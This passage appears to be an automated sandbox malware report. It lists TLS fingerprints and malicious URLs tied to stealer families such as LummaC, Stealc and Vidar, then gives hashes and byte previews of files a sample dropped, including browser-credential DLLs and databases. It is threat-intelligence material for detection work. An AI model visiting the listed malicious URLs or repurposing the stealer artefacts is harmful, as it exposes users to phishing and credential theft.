	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://lifetraces.org/spo/priv/auth/login.php	Get hash	malicious	Unknown	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Cryptbot	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.181.3 172.202.163.200 13.107.246.63 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.234.120.54
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.234.120.54
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.234.120.54
	https://www.cinehub.click/anus	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54
	https://insights.zohorecruit.com/ck1/2d6f.390d3f0/70932e40-a754-11ef-acd6-525400d4bb1c/c4b396bcef628ee60a3903dd64a571f46a43eb4a/2?e=AP6yJbny%2BojaTRJMo4YN29y4982EEh70QglqvV8aiCoCwftyNixblJXLnLCBIbU9pdrCb4rbSvPbWtRnPycgQw%3D%3D	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54
3b5074b1b5d032e5620f69f9f700ff0e	ZOL2mIYAUH.exe	Get hash	malicious	Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT	Browse	20.198.118.190 20.198.119.84
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.198.118.190 20.198.119.84
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	20.198.118.190 20.198.119.84
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	20.198.118.190 20.198.119.84
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse	20.198.118.190 20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.118.190 20.198.119.84
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	20.198.118.190 20.198.119.84
	Setup.exe	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.118.190 20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBGCAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679090681981116
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumg:Kq+n0JZ91LyKOMq+8iP5GLP/01
MD5:	BF9F4E12DA65CC61A70A171EF470058F
SHA1:	093943E9C3EB234CDB28E67B8BFF09F6C5C6801F
SHA-256:	405077456B36139C17B32413C30FC5CB46C55B985A089122C7390355A80147B8
SHA-512:	FCDFC3F9D5831DC7074035C3FFBB953F4C65360861F2EB2947D025E0220362FD948AE33EC69C53F51F34757E6A90528A43ED1199B554E86FDA925A09D7E27D5F
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHIJDHCAKKFCBGCBAAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHJKFCGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDHJEBFBFHJECAKFCAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIDAKJDHJKFHIEBFCGHCGHDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEHJDHJKFIECAAKFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\05b41b9c-251f-42a5-82a3-31bc1245a0f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095566071471665
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWm3i1zNtcWNkZdEiN+0RakAKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yn+NgH2KtSmd6qE7lFoC
MD5:	0832DD9300195F06FA312D707BB2AF6B
SHA1:	211DF34509E0FE8FE30BDAD238A8E8538D906610
SHA-256:	F2F8089A4DF1E5A106ABD818CE5C603C1D22EA66BC57AD6876F271901CF8885B
SHA-512:	55CDD3E28C015538A5CC7F63FE9F8C2424724F60F2ADECFA613A1CFBD83A9E9CCEFD01A655B57AA6455AE94D4FF7EDA3E75323FAE6AC91743096B24B3DD3A1A9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\46982a7d-446f-431a-b85a-9c985a44e0c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46224
Entropy (8bit):	6.0868238976308255
Encrypted:	false
SSDEEP:	768:TMkbJrT8IeQc5AKauY5i1zNtcWNkZdE77qGzDlEBFqhbB/hoECioAJDSgzMMd6qX:TMk1rT8H4KBNgC7/hrFoAtSmd6qE7s
MD5:	A92A2A91DDDE1EF9A6D47C586FC0A024
SHA1:	26F8B7761C231557244AD5BBD9674751E265525B
SHA-256:	4C0E3337F33AB1B8B9EAC263D60D1D5BAC1113A75010BE19199CB32CD4544232
SHA-512:	174FEE54BC349E7A7E070A7E5CA3AB5E616B41035ADC8440FFB0F41754219625EFCF76C3F726AE4BDD85FC253E430AB62F10BAB83A030A27683640CD99C6CEB9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376876797342778","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"a6897b40-c195-4000-974d-54564044987f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732403201"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f738df2-4a94-4241-aa63-004070908f5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46100
Entropy (8bit):	6.087116245762417
Encrypted:	false
SSDEEP:	768:TMkbJrT8IeQc5dKazY5i1zNtcWNkZdEi97qGzDlEBFqhbB/hoECioAJDSgzMMd64:TMk1rT8H1KqNgHp7/hrFoAtSmd6qE7s
MD5:	C7B0042C3BF8F38003C96CFCF824ECE4
SHA1:	0DD6BF158EEE5DA81DA93C258F88A6ABB48E2705
SHA-256:	A598BAECD78B94F57CB63B912F1473B0F18CDAAF4D0F30161144DDEE44F6A8F5
